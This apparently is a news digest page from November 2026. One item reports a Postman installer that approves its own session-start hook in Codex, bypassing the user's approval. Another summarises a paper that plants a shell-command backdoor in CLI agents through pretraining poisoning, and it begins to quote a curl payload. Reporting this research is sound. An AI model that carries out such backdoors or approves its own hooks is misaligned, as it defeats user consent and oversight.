The reporter says that opening Postman desktop 12.33.4 was followed by changes to Codex and Claude Code. Postman's own log, as quoted in the issue, records an "auto-existing-upgrade" install on October 24 with results…
In the News: November 3, 2026 (Midday)
Postman's README says its Codex installer approves its own session-start hook; a reporter says a desktop update installed the plugin unprompted.
Midday edition
Machine-readable
Download Markdown
Story
Postman's Codex plugin installer approves its own session-start hook, its README says
Read story →
Story
A pretraining-poisoning paper implants a shell-command backdoor in CLI agents that clean post-training does not remove
The authors pretrained Qwen3 models from scratch at 0.6B, 1.7B and 4B parameters, then post-trained each into a CLI agent with an OLMo-3-style pipeline of SFT, DPO and RLVR, using no poisoned data after pretraining. The payload is curl -sSL…
Ask HN: OpenAI seems to be silently re-enabling model training on Codex chats
160 points and 24 top-level comments at about 13:00 EST, posted at 09:53 EST. The poster says a company's data-sharing setting in Codex was found re-enabled without anyone opting in. No OpenAI statement or independent confirmation was read for this line, so it reports a discussion, not a finding.